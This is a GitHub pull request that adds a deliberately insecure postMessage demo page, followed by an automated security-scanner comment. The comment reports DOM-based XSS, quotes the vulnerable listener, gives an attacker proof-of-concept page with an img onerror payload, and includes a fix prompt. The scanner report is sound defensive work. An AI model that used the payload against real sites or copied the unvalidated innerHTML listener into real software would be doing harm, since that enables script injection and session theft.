Skip to content

Add insecure postMessage demo page#31

Open
maekuss wants to merge 1 commit into
mainfrom
maekuss-patch-9
Open

Add insecure postMessage demo page#31
maekuss wants to merge 1 commit into
mainfrom
maekuss-patch-9

Conversation

@maekuss

@maekuss maekuss commented Jun 10, 2026

Copy link
Copy Markdown
Owner

This HTML file demonstrates an insecure postMessage implementation that lacks origin validation, allowing potential cross-site scripting (XSS) vulnerabilities.

This HTML file demonstrates an insecure postMessage implementation that lacks origin validation, allowing potential cross-site scripting (XSS) vulnerabilities.

@hacktron-app hacktron-app Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

1 issue found across 1 file

Severity Count
HIGH 1

View full scan results

Comment thread test22.html

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

HIGH DOM-based Cross-Site Scripting (XSS) via Insecure postMessage Listener

Issue

The application contains a DOM-based Cross-Site Scripting (XSS) vulnerability in test22.html. The message event listener does not validate the sender's origin (event.origin) and directly assigns the message payload (event.data) to the innerHTML property of a DOM element.

Impact

An attacker can host a malicious website that opens test22.html (either in an iframe or via window.open) and sends a crafted postMessage containing malicious HTML or JavaScript. Because the origin is not validated, the message will be processed, and the payload will be injected into the DOM, executing arbitrary JavaScript in the context of the victim's session on the vulnerable site. This can lead to unauthorized actions, session hijacking, or sensitive data theft.

Attack Path

  1. The attacker lures a victim to a malicious website.
  2. The malicious website opens test22.html in an iframe or a new window.
  3. The malicious website sends a message containing an XSS payload (e.g., <img src=x onerror=alert(document.domain)>) to the target window using postMessage.
  4. The target window receives the message, fails to validate the origin, and assigns the payload to document.getElementById('output').innerHTML, triggering the execution of the attacker's script.
Steps to Reproduce
<!-- Attacker page (e.g., http://attacker.com/exploit.html) -->
<!DOCTYPE html>
<html>
<body>
  <script>
    const targetUrl = 'http://localhost:8000/testerror/test22.html'; // Adjust target URL as needed
    const win = window.open(targetUrl, 'vulnerable_page');
    
    // Wait for the window to load, then send the exploit payload
    setTimeout(() => {
      win.postMessage('<img src=x onerror="alert(\'XSS via postMessage: \' + document.domain)">', '*');
    }, 1000);
  </script>
</body>
</html>
Fix with AI

Open in Cursor Open in Claude

A security vulnerability was found by Hacktron.

File: test22.html
Severity: high

Vulnerability: DOM-based Cross-Site Scripting (XSS) via Insecure postMessage Listener

Description:
### Issue
The application contains a DOM-based Cross-Site Scripting (XSS) vulnerability in `test22.html`. The `message` event listener does not validate the sender's origin (`event.origin`) and directly assigns the message payload (`event.data`) to the `innerHTML` property of a DOM element.

### Impact
An attacker can host a malicious website that opens `test22.html` (either in an iframe or via `window.open`) and sends a crafted `postMessage` containing malicious HTML or JavaScript. Because the origin is not validated, the message will be processed, and the payload will be injected into the DOM, executing arbitrary JavaScript in the context of the victim's session on the vulnerable site. This can lead to unauthorized actions, session hijacking, or sensitive data theft.

### Attack Path
1. The attacker lures a victim to a malicious website.
2. The malicious website opens `test22.html` in an iframe or a new window.
3. The malicious website sends a message containing an XSS payload (e.g., `<img src=x onerror=alert(document.domain)>`) to the target window using `postMessage`.
4. The target window receives the message, fails to validate the origin, and assigns the payload to `document.getElementById('output').innerHTML`, triggering the execution of the attacker's script.

Proof of Concept:
```html
<!-- Attacker page (e.g., http://attacker.com/exploit.html) -->
<!DOCTYPE html>
<html>
<body>
  <script>
    const targetUrl = 'http://localhost:8000/testerror/test22.html'; // Adjust target URL as needed
    const win = window.open(targetUrl, 'vulnerable_page');
    
    // Wait for the window to load, then send the exploit payload
    setTimeout(() => {
      win.postMessage('<img src=x onerror="alert(\'XSS via postMessage: \' + document.domain)">', '*');
    }, 1000);
  </script>
</body>
</html>
```

Affected Code:
```javascript
window.addEventListener('message', (event) => {
  // Shows the origin but FAILS to validate it (critical bug)
  document.getElementById('origin').textContent = 'Last message origin: ' + event.origin;

  // Dangerous sink: direct innerHTML assignment of untrusted data
  const incoming = typeof event.data === 'string' ? event.data : JSON.stringify(event.data);
  document.getElementById('output').innerHTML = incoming;
});
```

Acceptance criteria:
- Acceptance is defined by the **actual reported behavior**, not by tests passing.
- Reproduce the issue, or narrow the exact code path that produces it, *before* changing code. State what you confirmed.
- Fix the underlying cause. Mitigations that paper over the reported behavior do not count as a fix.
- Add a regression test that fails on the unpatched code and passes on the fix. If a regression test is genuinely impractical (e.g. race condition, infra-level issue), say so and explain why.
- Existing tests passing is **not** the bar. Do not declare done on tests-pass theatre.

Only change what is necessary to fix this vulnerability. Do not refactor adjacent code or modify unrelated files.

Triage: Reply !fp <reason> (false positive), !valid (confirmed), or !accepted_risk <reason>. Any other reply is saved as a triage note.
Reason is optional but improves future scans — e.g. !fp internal endpoint, not user-facing.

View finding in Hacktron

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant